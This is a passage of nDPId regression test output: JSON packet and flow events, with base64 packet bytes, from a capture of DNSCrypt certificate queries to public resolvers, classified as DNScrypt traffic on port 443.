+00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":210,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802405,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQgu8Aub0RmXUKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":210,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":47685,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802444,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcgvEgAL0RdKAKAAABNEHrgbpFAbsGBAozCm4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00601{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":47685,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55979,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802455,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcgvJAAL0RWF8KAAABNEHrgdqrAbsCCOKYCm8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00597{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":212,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55979,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802465,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQgvEAub0RmXMKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":213,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55409,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802507,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcgvMgAL0RdJ4KAAABNEHrgdhxAbsGBOwCCnIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00601{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":214,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55409,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802526,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQgvMAub0RmXEKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":215,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":85,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":102709,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhiJAACkR6nc0QeuBCgAAAQG72hoAwNtICnOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00669{"flow_id":87,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":103356,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhiRAACkR6nU0QeuBCgAAAQG7zq8AwOa1CnGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00669{"flow_id":86,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":103386,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhiNAACgR63Y0QeuBCgAAAQG7tOkAwAB9CnCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00669{"flow_id":88,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105245,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhiVAACkR6nQ0QeuBCgAAAQG7ukUAwPsiCm6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":220,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":38812,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105460,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcRfwgAL0RYAgKAAABMw8+QZecAbsGBGX0xUgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAW9AAwFuQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":220,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":38812,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00669{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105464,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUhiZAACkR6nM0QeuBCgAAAQG72HEAwNzyCnKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAHR7dJhGoyFx8KdrkIsoh61C8rxtxAaFzxQo\/agVQzzjpZ5APiE6q3FOpAI96QjakMreCrdTAjP8EJbJX\/I6UH9uHXHTkXq4cOyA70iJwlafDxONoi+u6\/0zTNviG6FU724dcdORerhwAAAAFfU2DvX1Sybw=="} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105484,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQRfwAub0RhNsKAAABMw8+QQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":222,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":946739312105,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.62.65","src_port":45993,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":105560,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcRf1AAL0RQ8cKAAABMw8+QbOpAbsCCDQmxUkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAQAAAAAAAAAAAAHBAAwBvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA